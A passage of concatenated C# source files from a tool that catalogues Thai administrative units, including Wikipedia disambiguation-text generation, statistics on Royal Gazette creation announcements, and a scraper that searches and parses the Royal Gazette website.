var localGovernmentEntity = tambon.CreateLocalGovernmentDummyEntity();
if ( localGovernmentEntity != null && !localGovernmentEntity.IsObsolete )
{
allEntities.Add(localGovernmentEntity);
}
}
}
private void cbxEntityType_SelectedValueChanged(Object sender, EventArgs e)
{
UpdateDisambiguationList();
}
private void UpdateDisambiguationList()
{
lbxNames.Items.Clear();
UInt32 geocode = 0;
if ( cbxProvinces.SelectedItem != null )
{
geocode = (cbxProvinces.SelectedItem as Entity).geocode;
}
if ( cbxEntityType.SelectedItem != null )
{
var selectedType = (EntityType)cbxEntityType.SelectedItem;
var currentEntities = allEntities.Where(x => x.type == selectedType).ToList();
var names = currentEntities.GroupBy(x => x.name).Where(y => y.Count() > 1).OrderByDescending(z => z.Count()).ThenBy(z => z.First().english);
var currentNames = names.Select(x => new EntityList(x.OrderBy(y => y.geocode)));
if ( geocode != 0 )
{
currentNames = currentNames.Where(x => x.Entities.Any(y => GeocodeHelper.IsBaseGeocode(geocode, y.geocode)));
}
foreach ( var x in currentNames )
{
lbxNames.Items.Add(x);
}
}
}
private void btnThaiWikipedia_Click(Object sender, EventArgs e)
{
var item = lbxNames.SelectedItem as EntityList;
if ( item != null )
{
var provinces = allEntities.Where(x => x.type.IsCompatibleEntityType(EntityType.Changwat));
var allAmphoe = allEntities.Where(x => x.type.IsCompatibleEntityType(EntityType.Amphoe));
var provincesUsed = item.Entities.SelectMany(x => provinces.Where(y => GeocodeHelper.IsBaseGeocode(y.geocode, x.geocode))).ToList();
var builder = new StringBuilder();
builder.AppendFormat("'''{0}''' สามารถหมายถึง", item.Entities.First().FullName);
builder.AppendLine();
foreach ( var subItem in item.Entities )
{
var province = provinces.FirstOrDefault(x => GeocodeHelper.IsBaseGeocode(x.geocode, subItem.geocode));
var amphoe = allAmphoe.FirstOrDefault(x => GeocodeHelper.IsBaseGeocode(x.geocode, subItem.geocode));
if ( amphoe == null && subItem.type.IsLocalGovernment() )
{
var firstTambonCode = subItem.LocalGovernmentAreaCoverage.First().geocode;
amphoe = allAmphoe.FirstOrDefault(x => GeocodeHelper.IsBaseGeocode(x.geocode, firstTambonCode));
}
var parentInfo = String.Format("{0} {1}", amphoe.FullName, province.FullName);
String disambiguatedName = String.Format("{0} ({1})", subItem.FullName, province.FullName);
if ( provincesUsed.Count(x => x == province) > 1 )
{
disambiguatedName = String.Format("{0} ({1})", subItem.FullName, amphoe.FullName);
}
builder.AppendFormat("* [[{0}|{1}]] {2}", disambiguatedName, subItem.FullName, parentInfo);
builder.AppendLine();
}
builder.AppendLine();
builder.AppendLine("{{แก้กำกวม}}");
Clipboard.Clear();
Clipboard.SetText(builder.ToString());
}
}
private void cbxProvinces_SelectedValueChanged(Object sender, EventArgs e)
{
UpdateDisambiguationList();
}
}
}<file_sep>/AHTambon/CreationStatistics.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace De.AHoerstemeier.Tambon
{
public abstract class CreationStatistics : AnnouncementStatistics
{
#region properties
private FrequencyCounter mCreationsPerAnnouncement = new FrequencyCounter();
protected FrequencyCounter CreationsPerAnnouncement { get { return mCreationsPerAnnouncement; } }
private Int32 mNumberOfCreations;
public Int32 NumberOfCreations { get { return mNumberOfCreations; } }
protected Int32[] mNumberOfCreationsPerChangwat = new Int32[100];
private Dictionary<Int32, Int32> mEffectiveDayOfYear = new Dictionary<int, int>();
public Dictionary<Int32, Int32> EffectiveDayOfYear { get { return mEffectiveDayOfYear; } }
#endregion
#region methods
protected override void Clear()
{
base.Clear();
mCreationsPerAnnouncement = new FrequencyCounter();
mNumberOfCreationsPerChangwat = new Int32[100];
mNumberOfCreations = 0;
}
protected abstract Boolean EntityFitting(EntityType iEntityType);
protected Boolean ContentFitting(RoyalGazetteContent iContent)
{
Boolean retval = false;
if ( iContent is RoyalGazetteContentCreate )
{
RoyalGazetteContentCreate lCreate = (RoyalGazetteContentCreate)iContent;
retval = EntityFitting(lCreate.Type);
}
return retval;
}
protected virtual void ProcessContent(RoyalGazetteContent iContent)
{
RoyalGazetteContentCreate lCreate = (RoyalGazetteContentCreate)iContent;
mNumberOfCreations++;
Int32 lChangwatGeocode = lCreate.Geocode;
while ( lChangwatGeocode > 100 )
{
lChangwatGeocode = lChangwatGeocode / 100;
}
mNumberOfCreationsPerChangwat[lChangwatGeocode]++;
}
protected override void ProcessAnnouncement(RoyalGazette iEntry)
{
Int32 lCount = 0;
Int32 lProvinceGeocode = 0;
foreach ( RoyalGazetteContent lContent in iEntry.Content )
{
if ( ContentFitting(lContent) )
{
lCount++;
ProcessContent(lContent);
lProvinceGeocode = lContent.Geocode;
while ( lProvinceGeocode / 100 != 0 )
{
lProvinceGeocode = lProvinceGeocode / 100;
}
}
}
if ( lCount > 0 )
{
NumberOfAnnouncements++;
mCreationsPerAnnouncement.IncrementForCount(lCount, lProvinceGeocode);
if ( iEntry.Effective.Year > 1 )
{
DateTime lDummy = new DateTime(2004, iEntry.Effective.Month, iEntry.Effective.Day);
Int32 lIndex = lDummy.DayOfYear;
if ( !mEffectiveDayOfYear.ContainsKey(lIndex) )
{
mEffectiveDayOfYear[lIndex] = 0;
}
mEffectiveDayOfYear[lIndex]++;
}
}
}
#endregion
}
}
<file_sep>/AHTambon/BoardMeetingEntry.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Xml;
namespace De.AHoerstemeier.Tambon
{
public class BoardMeetingEntry
{
#region properties
public String BoardNumber { get; set; }
public int MeetingNumber { get; set; }
public DateTime Date { get; set; }
public Uri WebLink { get; set; }
public List<BoardMeetingTopic> Contents { get; set; }
#endregion
#region constructors
public BoardMeetingEntry()
{
Contents = new List<BoardMeetingTopic>();
}
#endregion
#region methods
internal static BoardMeetingEntry Load(XmlNode node)
{
BoardMeetingEntry result = null;
if ( node != null && node.Name.Equals("boardmeeting") )
{
result = new BoardMeetingEntry();
String url = TambonHelper.GetAttributeOptionalString(node, "url");
if ( !String.IsNullOrEmpty(url) )
{
result.WebLink = new Uri(url);
}
result.Date = TambonHelper.GetAttributeDateTime(node, "date");
result.BoardNumber = TambonHelper.GetAttribute(node, "board");
result.MeetingNumber = Convert.ToInt32(TambonHelper.GetAttribute(node, "number"));
result.LoadContents(node);
}
return result;
}
private void LoadContents(XmlNode iNode)
{
foreach ( XmlNode lNode in iNode.ChildNodes )
{
RoyalGazetteContent lContent = RoyalGazetteContent.CreateContentObject(lNode.Name);
if ( lContent != null )
{
lContent.DoLoad(lNode);
BoardMeetingTopic lTopic = new BoardMeetingTopic();
lTopic.Topic = lContent;
lTopic.Effective = TambonHelper.GetAttributeOptionalDateTime(lNode, "effective");
String s = TambonHelper.GetAttributeOptionalString(lNode, "type");
if ( String.IsNullOrEmpty(s) )
{
s = TambonHelper.GetAttributeOptionalString(lNode, "new");
}
if ( !String.IsNullOrEmpty(s) )
{
lTopic.Type = (EntityType)Enum.Parse(typeof(EntityType), s);
}
lTopic.FindGazette();
Contents.Add(lTopic);
}
}
}
#endregion
}
}
<file_sep>/TambonMain/RoyalGazetteOnlineSearch.cs
using System;
using System.Collections.Generic;
using System.Collections.Specialized;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;
using System.Web;
// Other interesting search string: เป็นเขตปฏิรูปที่ดิน (area of land reform) - contains maps with Tambon boundaries
namespace De.AHoerstemeier.Tambon
{
public class RoyalGazetteEventArgs : EventArgs
{
public GazetteList Data
{
get;
private set;
}
public RoyalGazetteEventArgs(GazetteList data)
: base()
{
Data = data;
}
}
public enum EntityModification
{
Creation,
Abolishment,
Rename,
StatusChange,
AreaChange,
Constituency
}
public class RoyalGazetteOnlineSearch
{
#region variables
private const String _searchFormUrl = "http://www.ratchakitcha.soc.go.th/RKJ/announce/search.jsp";
private const String _searchPostUrl = "http://www.ratchakitcha.soc.go.th/RKJ/announce/search_load_adv.jsp";
private const String _searchPageUrl = "http://www.ratchakitcha.soc.go.th/RKJ/announce/search_page_load.jsp";
private const String _baseUrl = "http://www.ratchakitcha.soc.go.th/RKJ/announce/";
private const String _responseDataUrl = "parent.location.href=\"";
private String _cookie = String.Empty;
private String _dataUrl = String.Empty;
private String _searchKey = String.Empty;
private Int32 _volume = 0;
private Int32 _numberOfPages = 0;
#endregion variables
public EventHandler<RoyalGazetteEventArgs> ProcessingFinished;
#region consts
private static Dictionary<EntityModification, String> EntityModificationText = new Dictionary<EntityModification, String>
{
{EntityModification.Abolishment,"Abolish of {0}"},
{EntityModification.AreaChange,"Change of area of {0}"},
{EntityModification.Creation,"Creation of {0}"},
{EntityModification.Rename,"Rename of {0}"},
{EntityModification.StatusChange,"Change of status of {0}"},
{EntityModification.Constituency,"Constituencies of {0}"}
};
public static Dictionary<EntityModification, Dictionary<EntityType, String>> SearchKeys = new Dictionary<EntityModification, Dictionary<EntityType, String>>
{
{
EntityModification.Creation,new Dictionary<EntityType,String>
{
{EntityType.KingAmphoe, "ตั้งเป็นกิ่งอำเภอ"},
{EntityType.Amphoe,"ตั้งเป็นอำเภอ"},
{EntityType.Thesaban,"จัดตั้ง เป็นเทศบาล หรือ องค์การบริหารส่วนตำบลเป็นเทศบาล"},
{EntityType.Sukhaphiban,"จัดตั้งสุขาภิบาล"},
{EntityType.Tambon,"ตั้งและกำหนดเขตตำบล หรือ ตั้งตำบลในจังหวัด หรือ ตั้งและเปลี่ยนแปลงเขตตำบล"},
{EntityType.TAO,"ตั้งองค์การบริหารส่วนตำบล หรือ รวมสภาตำบลกับองค์การบริหารส่วนตำบล"},
{EntityType.Muban,"ตั้งหมู่บ้าน หรือ ตั้งและกำหนดเขตหมู่บ้าน หรือ ตั้งและกำหนดหมู่บ้าน"},
{EntityType.Phak,"การรวมจังหวัดยกขึ้นเป็นภาค"},
{EntityType.Khwaeng,"ตั้งแขวง"},
{EntityType.Khet,"ตั้งเขต กรุงเทพมหานคร"}
}
},
{
EntityModification.Abolishment,new Dictionary<EntityType,String>
{
{EntityType.KingAmphoe,"ยุบกิ่งอำเภอ"},
{EntityType.Amphoe,"ยุบอำเภอ"},
{EntityType.Sukhaphiban,"ยุบสุขาภิบาล"},
{EntityType.Tambon,"ยุบตำบล หรือ ยุบและเปลี่ยนแปลงเขตตำบล"},
{EntityType.TAO,"ยุบองค์การบริหารส่วนตำบล หรือ ยุบรวมองค์การบริหารส่วนตำบล หรือ รวมองค์การบริหารส่วนตำบลกับ"},
{EntityType.SaphaTambon,"ยุบรวมสภาตำบล"}
}
},
{
EntityModification.Rename,new Dictionary<EntityType,String>
{
{EntityType.Amphoe,"เปลี่ยนชื่ออำเภอ หรือ เปลี่ยนนามอำเภอ หรือ เปลี่ยนแปลงชื่ออำเภอ"},
{EntityType.KingAmphoe,"เปลี่ยนชื่อกิ่งอำเภอ หรือ เปลี่ยนนามกิ่งอำเภอ หรือ เปลี่ยนแปลงชื่อกิ่งอำเภอ"},
{EntityType.Sukhaphiban,"เปลี่ยนชื่อสุขาภิบาล หรือ เปลี่ยนนามสุขาภิบาล หรือ เปลี่ยนแปลงชื่อสุขาภิบาล"},
{EntityType.Thesaban,"เปลี่ยนชื่อเทศบาล หรือ เปลี่ยนนามเทศบาล หรือ เปลี่ยนแปลงชื่อเทศบาล"},
{EntityType.Tambon,"เปลี่ยนชื่อตำบล หรือ เปลี่ยนนามตำบล หรือ เปลี่ยนแปลงชื่อตำบล หรือ เปลี่ยนแปลงแก้ไขชื่อตำบล"},
{EntityType.TAO,"เปลี่ยนชื่อองค์การบริหารส่วนตำบล"},
{EntityType.Muban,"เปลี่ยนแปลงชื่อหมู่บ้าน"}
}
},
{
EntityModification.StatusChange,new Dictionary<EntityType,String>
{
{EntityType.Thesaban,"เปลี่ยนแปลงฐานะเทศบาล หรือ พระราชกฤษฎีกาจัดตั้งเทศบาล"},
{EntityType.KingAmphoe,"พระราชกฤษฎีกาตั้งอำเภอ หรือ พระราชกฤษฎีกาจัดตั้งอำเภอ"}
}
},
{
EntityModification.AreaChange,new Dictionary<EntityType,String>
{
{EntityType.Amphoe,"เปลี่ยนแปลงเขตอำเภอ หรือ เปลี่ยนแปลงเขตต์อำเภอ"},
{EntityType.KingAmphoe,"เปลี่ยนแปลงเขตกิ่งอำเภอ"},
{EntityType.Thesaban,"เปลี่ยนแปลงเขตเทศบาล หรือ การยุบรวมองค์การบริหารส่วนตำบลจันดีกับเทศบาล หรือ ยุบรวมสภาตำบลกับเทศบาล"},
{EntityType.Sukhaphiban,"เปลี่ยนแปลงเขตสุขาภิบาล"},
{EntityType.Changwat,"เปลี่ยนแปลงเขตจังหวัด"},
{EntityType.Tambon,"เปลี่ยนแปลงเขตตำบล หรือ กำหนดเขตตำบล หรือ เปลี่ยนแปลงเขตต์ตำบล หรือ ปรับปรุงเขตตำบล"},
{EntityType.TAO,"เปลี่ยนแปลงเขตองค์การบริหารส่วนตำบล"},
{EntityType.Khwaeng,"เปลี่ยนแปลงพื้นที่แขวง"},
{EntityType.Phak,"เปลี่ยนแปลงเขตภาค"},
{EntityType.Khet,"เปลี่ยนแปลงพื้นที่เขต กรุงเทพมหานคร"},
{EntityType.Muban,"เปลี่ยนแปลงเขตท้องที่ และ หมู่บ้าน"}
}
},
{
EntityModification.Constituency,new Dictionary<EntityType,String>
{
{EntityType.PAO,"แบ่งเขตเลือกตั้งสมาชิกสภาองค์การบริหารส่วนจังหวัด หรือ เปลี่ยนแปลงแก้ไขเขตเลือกตั้งสมาชิกสภาองค์การบริหารส่วนจังหวัด"},
{EntityType.Thesaban,"การแบ่งเขตเลือกตั้งสมาชิกสภาเทศบาล หรือ เปลี่ยนแปลงแก้ไขเขตเลือกตั้งสมาชิกสภาเทศบาล"}
}
}
};
public static Dictionary<EntityModification, Dictionary<ParkType, String>> SearchKeysProtectedAreas = new Dictionary<EntityModification, Dictionary<ParkType, String>>
{
{
EntityModification.Creation,new Dictionary<ParkType,String>
{
{ParkType.NonHuntingArea,"กำหนดเขตห้ามล่าสัตว์ป่า หรือ เป็นเขตห้ามล่าสัตว์ป่า"},
{ParkType.WildlifeSanctuary,"เป็นเขตรักษาพันธุ์สัตว์ป่า"},
{ParkType.NationalPark,"เป็นอุทยานแห่งชาติ หรือ เพิกถอนอุทยานแห่งชาติ"},
{ParkType.HistoricalSite,"กำหนดเขตที่ดินโบราณสถาน"},
{ParkType.NationalForest,"เป็นป่าสงวนแห่งชาติ หรือ กำหนดพื้นที่ป่าสงวนแห่งชาติ"}
}
},
{
EntityModification.Abolishment,new Dictionary<ParkType,String>
{
{ParkType.NationalPark,"เพิกถอนอุทยานแห่งชาติ"}, // actually it's normally an area change
{ParkType.WildlifeSanctuary,"เพิกถอนเขตรักษาพันธุ์สัตว์ป่า"} // actually it's normally an area change
}
},
{
EntityModification.AreaChange,new Dictionary<ParkType,String>
{
{ParkType.NationalPark,"เปลี่ยนแปลงเขตอุทยานแห่งชาติ"},
{ParkType.WildlifeSanctuary,"เปลี่ยนแปลงเขตรักษาพันธุ์สัตว์ป่า"},
{ParkType.HistoricalSite,"แก้ไขเขตที่ดินโบราณสถาน"}
}
}
};
#endregion consts
#region constructor
public RoyalGazetteOnlineSearch()
{
}
#endregion constructor
#region methods
private void PerformRequest()
{
StringBuilder requestString = new StringBuilder();
foreach ( string s in new List<String> { "ก", "ง", "ข", "ค", "all" } )
{
requestString.Append("chkType=" + MyUrlEncode(s) + "&");
}
if ( _volume <= 0 )
{
requestString.Append("txtBookNo=&");
}
else
{
//lRequestString.Append("txtBookNo=" + MyURLEncode(Helper.UseThaiNumerals(mVolume.ToString())) + "&");
requestString.Append("txtBookNo=" + _volume.ToString() + "&");
}
//request.Append("txtSection=&");
//request.Append("txtFromDate=&");
//request.Append("txtToDate=&");
requestString.Append("chkSpecial=special&");
requestString.Append("searchOption=adv&");
requestString.Append("hidNowItem=txtTitle&");
//request.Append("hidFieldSort=&");
//request.Append("hidFieldSortText=&");
requestString.Append("hidFieldList=" + MyUrlEncode("txtTitle/txtBookNo/txtSection/txtFromDate/txtToDate/selDocGroup1") + "&");
//request.Append("txtDetail=&");
//request.Append("selDocGroup=&");
//request.Append("selFromMonth=&");
//request.Append("selFromYear=&");
//request.Append("selToMonth=&");
//request.Append("selToYear=&");
requestString.Append("txtTitle=" + MyUrlEncode(_searchKey));
_dataUrl = GetDataUrl(0, requestString.ToString());
}
private String GetDataUrl(Int32 page, String requestString)
{
WebClient client = new WebClient();
String searchUrl = String.Empty;
if ( page == 0 )
{
searchUrl = _searchPostUrl;
}
else
{
searchUrl = _searchPageUrl;
client.Headers.Add("Referer", "http://www.ratchakitcha.soc.go.th/RKJ/announce/search_result.jsp");
}
if ( !String.IsNullOrEmpty(_cookie) )
{
client.Headers.Add("Cookie", _cookie);
}
client.Headers.Add("User-Agent", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11");
client.Headers.Add("Accept", "text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5");
client.Headers.Add("Accept-Language", "en-us,en;q=0.8,de;q=0.5,th;q=0.3");
client.Headers.Add("Accept-Encoding", "gzip,deflate");
client.Headers.Add("Accept-Charset", "UTF-8,*");
Byte[] lResponseData = client.DownloadData(searchUrl + "?" + requestString);
String lCookie = client.ResponseHeaders.Get("Set-Cookie");
if ( !String.IsNullOrEmpty(lCookie) )
{
_cookie = lCookie;
}
String response = Encoding.ASCII.GetString(lResponseData);
Int32 position = response.LastIndexOf(_responseDataUrl);
String result = String.Empty;
if ( position >= 0 )
{
String dataUrl = response.Substring(position, response.Length - position);
dataUrl = dataUrl.Substring(_responseDataUrl.Length, dataUrl.Length - _responseDataUrl.Length);
if ( dataUrl.Contains("\";") )
{
result = _baseUrl + dataUrl.Substring(0, dataUrl.LastIndexOf("\";"));
}
else
{
result = _baseUrl + dataUrl.Substring(0, dataUrl.LastIndexOf("\"+")) + GetDateJavaScript(DateTime.Now).ToString() + "#";
}
}
return result;
}
/// <summary>
/// Converts a datetime into the javascript datetime value, which is the milliseconds since January 1 1970.
/// </summary>
/// <param name="value">Date and time to be converted.</param>
/// <returns>Javascript datetime value.</returns>
private static Int64 GetDateJavaScript(DateTime value)
{
TimeSpan lDifference = value.ToUniversalTime() - new DateTime(1970, 1, 1);
Int64 retval = Convert.ToInt64(lDifference.TotalMilliseconds);
return retval;
}
private Stream DoDataDownload(Int32 page)
{
WebClient client = new WebClient();
client.Encoding = Encoding.UTF8;
if ( page == 0 )
{
client.Headers.Add("Referer", _searchFormUrl);
}
else
{
client.Headers.Add("Referer", _searchPageUrl);
}
if ( !String.IsNullOrEmpty(_cookie) )
{
client.Headers.Add("Cookie", _cookie);
}
client.Headers.Add("User-Agent", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11");
client.Headers.Add("Accept", "text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5");
client.Headers.Add("Accept-Language", "en-us,en;q=0.8,de;q=0.5,th;q=0.3");
client.Headers.Add("Accept-Encoding", "gzip,deflate");
client.Headers.Add("Accept-Charset", "UTF-8,*");
System.IO.Stream lStream = client.OpenRead(_dataUrl);
return lStream;
}
private void PerformRequestPage(Int32 page)
{
StringBuilder requestString = new StringBuilder();
//lRequestString.Append("hidlowerindex=1");
//lRequestString.Append("hidupperindex=100");
requestString.Append("txtNowpage=" + page.ToString());
_dataUrl = GetDataUrl(page, requestString.ToString());
}
static private Encoding ThaiEncoding = Encoding.GetEncoding(874);
private string MyUrlEncode(String value)
{
var lByteArray = ThaiEncoding.GetBytes(value);
String result = HttpUtility.UrlEncode(lByteArray, 0, lByteArray.Length);
return result;
}
private const string EntryStart = " <td width=\"50\" align=\"center\" nowrap class=\"row4\">";
private const string PageStart = "onkeypress=\"EnterPage()\"> จากทั้งหมด";
private GazetteList DoParseStream(Stream data)
{
var reader = new System.IO.StreamReader(data, ThaiEncoding);
GazetteList result = new GazetteList();
result.entry.AddRange(DoParse(reader).entry);
return result;
}
private GazetteList DoParse(TextReader reader)
{
GazetteList result = new GazetteList();
String currentLine = String.Empty;
int dataState = -1;
StringBuilder entryData = new StringBuilder();
while ( (currentLine = reader.ReadLine()) != null )
{
if ( currentLine.Contains(PageStart) )
{
String lTemp = currentLine.Substring(currentLine.LastIndexOf(PageStart) + PageStart.Length, 3).Trim();
_numberOfPages = Convert.ToInt32(lTemp);
}
else if ( currentLine.StartsWith(EntryStart) )
{
if ( entryData.Length > 0 )
{
var current = ParseSingeItem(entryData.ToString());
if ( current != null )
{
result.entry.Add(current);
}
entryData.Remove(0, entryData.Length);
}
dataState++;
}
else if ( dataState >= 0 )
{
entryData.Append(currentLine.Trim() + " ");
}
}
if ( entryData.Length > 0 )
{
var current = ParseSingeItem(entryData.ToString());
if ( current != null )
{
result.entry.Add(current);
}
}
return result;
}
private const string EntryVolumeorPage = "<td width=\"50\" align=\"center\" nowrap class=\"row2\">";
private const string EntryIssue = "<td width=\"100\" align=\"center\" nowrap class=\"row3\">";
private const string EntryDate = "<td width=\"150\" align=\"center\" nowrap class=\"row3\">";
private const string EntryURL = "<a href=\"/DATA/PDF/";
private const string EntryURLend = "\" target=\"_blank\" class=\"topictitle\">";
private const string ColumnEnd = "</td>";
private const string EntryTitle = "menubar=no,location=no,scrollbars=auto,resizable');\"-->";
private const string EntryTitleEnd = "</a></td>";
private GazetteEntry ParseSingeItem(String value)
{
value = value.Replace("\t", "");
GazetteEntry retval = null;
Int32 position = value.IndexOf(EntryURL);
if ( position >= 0 )
{
retval = new GazetteEntry();
position = position + EntryURL.Length;
Int32 position2 = value.IndexOf(EntryURLend);
retval.uri = value.Substring(position, position2 - position);
value = value.Substring(position2, value.Length - position2);
position = value.IndexOf(EntryTitle) + EntryTitle.Length;
position2 = value.IndexOf(EntryTitleEnd);
retval.title = value.Substring(position, position2 - position).Trim();
value = value.Substring(position2, value.Length - position2);
position = value.IndexOf(EntryVolumeorPage) + EntryVolumeorPage.Length;
position2 = value.IndexOf(ColumnEnd, position);
string volume = value.Substring(position, position2 - position);
retval.volume = Convert.ToByte(ThaiNumeralHelper.ReplaceThaiNumerals(volume));
value = value.Substring(position2, value.Length - position2);
position = value.IndexOf(EntryIssue) + EntryIssue.Length;
position2 = value.IndexOf(ColumnEnd, position);
retval.issue = ThaiNumeralHelper.ReplaceThaiNumerals(value.Substring(position, position2 - position).Trim());
value = value.Substring(position2, value.Length - position2);
position = value.IndexOf(EntryDate) + EntryDate.Length;
position2 = value.IndexOf(ColumnEnd, position);
string Date = value.Substring(position, position2 - position);
retval.publication = ThaiDateHelper.ParseThaiDate(Date);
value = value.Substring(position2, value.Length - position2);
position = value.IndexOf(EntryVolumeorPage) + EntryVolumeorPage.Length;
position2 = value.IndexOf(ColumnEnd, position);
string page = value.Substring(position, position2 - position);
retval.page = ThaiNumeralHelper.ReplaceThaiNumerals(page);
if ( retval.title.Contains('[') && retval.title.EndsWith("]") )
{
var beginSubTitle = retval.title.LastIndexOf('[');
retval.subtitle = retval.title.Substring(beginSubTitle + 1, retval.title.Length - beginSubTitle - 2).Trim();
retval.title = retval.title.Substring(0, beginSubTitle - 1).Trim();
}
}
return retval;
}
public GazetteList DoGetList(String searchKey, Int32 volume)
{
_searchKey = searchKey;
_volume = volume;
_cookie = String.Empty;
GazetteList result = null;
try
{
PerformRequest();
result = new GazetteList();
if ( _dataUrl != String.Empty )
{
Stream lData = DoDataDownload(0);
result = DoParseStream(lData);
for ( Int32 page = 2 ; page <= _numberOfPages ; page++ )
{
PerformRequestPage(page);
Stream lDataPage = DoDataDownload(page);
result.entry.AddRange(DoParseStream(lDataPage).entry);
}
}
}
catch ( WebException )
{
result = null;
// TODO
}
return result;
}
protected GazetteList GetListDescription(String searchKey, Int32 volume, String description)
{
GazetteList result = DoGetList(searchKey, volume);
if ( result != null )
{
foreach ( var entry in result.entry )
{
entry.description = description;
}
}
return result;
}
public GazetteList SearchNews(DateTime date)
{
GazetteList result = new GazetteList();
result.entry.AddRange(SearchNewsRange(date, date).entry);
result.entry.Sort((x, y) => DateTime.Compare(x.publication, y.publication));
return result;
}
public GazetteList SearchNewsRange(DateTime beginDate, DateTime endDate)
{
GazetteList result = new GazetteList();
var protecteAreaTypes = new List<ParkType>();
foreach ( ParkType protectedArea in Enum.GetValues(typeof(ParkType)) )
{
protecteAreaTypes.Add(protectedArea);
}
var protectedAreasList = SearchNewsProtectedAreas(beginDate, endDate, protecteAreaTypes);
result.entry.AddRange(protectedAreasList.entry);
var entityTypes = new List<EntityType>();
foreach ( EntityType entityType in Enum.GetValues(typeof(EntityType)) )
{
if ( entityType != EntityType.Sukhaphiban )
{
entityTypes.Add(entityType);
}
}
var entityModifications = new List<EntityModification>();
foreach ( EntityModification entityModification in Enum.GetValues(typeof(EntityModification)) )
{
entityModifications.Add(entityModification);
}
var administrativeEntitiesList = SearchNewsRangeAdministrative(beginDate, endDate, entityTypes, entityModifications);
result.entry.AddRange(administrativeEntitiesList.entry);
result.entry.Sort((x, y) => DateTime.Compare(x.publication, y.publication));
return result;
}
public GazetteList SearchNewsProtectedAreas(DateTime beginDate, DateTime endDate, IEnumerable<ParkType> values)
{
GazetteList result = new GazetteList();
Int32 volumeBegin = beginDate.Year - 2007 + 124;
Int32 volumeEnd = endDate.Year - 2007 + 124;
for ( Int32 volume = volumeBegin ; volume <= volumeEnd ; volume++ )
{
foreach ( KeyValuePair<EntityModification, Dictionary<ParkType, String>> outerKeyValuePair in SearchKeysProtectedAreas )
{
foreach ( KeyValuePair<ParkType, String> keyValuePair in outerKeyValuePair.Value )
{
if ( values.Contains(keyValuePair.Key) )
{
var list = GetListDescription(keyValuePair.Value, volume, ModificationText(outerKeyValuePair.Key, keyValuePair.Key));
if ( list != null )
{
result.entry.AddRange(list.entry);
}
}
}
}
}
result.entry.Sort((x, y) => DateTime.Compare(x.publication, y.publication));
return result;
}
public GazetteList SearchNewsRangeAdministrative(DateTime beginDate, DateTime endDate, IEnumerable<EntityType> types, IEnumerable<EntityModification> modifications)
{
GazetteList result = new GazetteList();
Int32 volumeBegin = beginDate.Year - 2007 + 124;
Int32 volumeEnd = endDate.Year - 2007 + 124;
for ( Int32 volume = volumeBegin ; volume <= volumeEnd ; volume++ )
{
foreach ( KeyValuePair<EntityModification, Dictionary<EntityType, String>> outerKeyValuePair in SearchKeys )
{
if ( modifications.Contains(outerKeyValuePair.Key) )
{
foreach ( KeyValuePair<EntityType, String> keyValuePair in outerKeyValuePair.Value )
{
if ( types.Contains(keyValuePair.Key) )
{
var list = GetListDescription(keyValuePair.Value, volume, ModificationText(outerKeyValuePair.Key, keyValuePair.Key));
if ( list != null )
{
result.entry.AddRange(list.entry);
}
}
}
}
}
}
return result;
}
public GazetteList SearchString(DateTime beginDate, DateTime endDate, String searchKey)
{
GazetteList result = new GazetteList();
Int32 volumeBegin = beginDate.Year - 2007 + 124;
Int32 volumeEnd = endDate.Year - 2007 + 124;
for ( Int32 volume = volumeBegin ; volume <= volumeEnd ; volume++ )
{
var list = GetListDescription(searchKey, volume, "");
if ( list != null )
{
result.entry.AddRange(list.entry);
}
}
return result;
}
private String ModificationText(EntityModification modification, EntityType entityType)
{
String result = String.Format(EntityModificationText[modification], entityType);
return result;
}
private String ModificationText(EntityModification modification, ParkType protectedAreaType)
{
String result = String.Format(EntityModificationText[modification], protectedAreaType);
return result;
}
public void SearchNewsNow()
{
GazetteList gazetteList = SearchNews(DateTime.Now);
if ( DateTime.Now.Month == 1 )
{
// Check news from last year as well, in case something was added late
gazetteList.entry.AddRange(SearchNews(DateTime.Now.AddYears(-1)).entry);
}
gazetteList.entry.Sort((x, y) => DateTime.Compare(x.publication, y.publication));
OnProcessingFinished(new RoyalGazetteEventArgs(gazetteList));
}
private void OnProcessingFinished(RoyalGazetteEventArgs e)
{
if ( ProcessingFinished != null )
{
ProcessingFinished(this, e);
}
}
#endregion methods
}
}<file_sep>/AHTambon/CreationStatisticsMuban.cs
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Globalization;
using System.Linq;
using System.Text;
namespace De.AHoerstemeier.Tambon
{
public class CreationStatisticsMuban : CreationStatisticsCentralGovernment
{
#region properties
private Int32 mCreationsWithoutParentName;
private FrequencyCounter mHighestMubanNumber = new FrequencyCounter();
private Dictionary<String, Int32> mNewNameSuffix = new Dictionary<string, Int32>();
private Dictionary<String, Int32> mNewNamePrefix = new Dictionary<string, Int32>();
#endregion properties
#region constructor
public CreationStatisticsMuban()
{
StartYear = 1883;
EndYear = DateTime.Now.Year;
}
public CreationStatisticsMuban(Int32 iStartYear, Int32 iEndYear)
{
StartYear = iStartYear;
EndYear = iEndYear;
}
#endregion constructor
#region methods
protected override String DisplayEntityName()
{
return "Muban";
}
protected override void Clear()
{
base.Clear();
mNewNameSuffix = new Dictionary<string, Int32>();
mNewNamePrefix = new Dictionary<string, Int32>();
mHighestMubanNumber = new FrequencyCounter();
mCreationsWithoutParentName = 0;
}
protected override Boolean EntityFitting(EntityType iEntityType)
{
Boolean result = (iEntityType == EntityType.Muban);
return result;
}
protected void ProcessContentForName(RoyalGazetteContentCreate iCreate)
{
Int32 lTambonGeocode = iCreate.Geocode / 100;
String lName = TambonHelper.StripBanOrChumchon(iCreate.Name);
if ( !String.IsNullOrEmpty(lName) )
{
String lParentName = String.Empty;
foreach ( RoyalGazetteContent lSubEntry in iCreate.SubEntries )
{
if ( lSubEntry is RoyalGazetteContentAreaChange )
{
lParentName = lSubEntry.Name;
// Debug.Assert(lTambonGeocode == (lSubEntry.Geocode / 100), "Parent muban as a different geocode");
}
}
lParentName = TambonHelper.StripBanOrChumchon(lParentName);
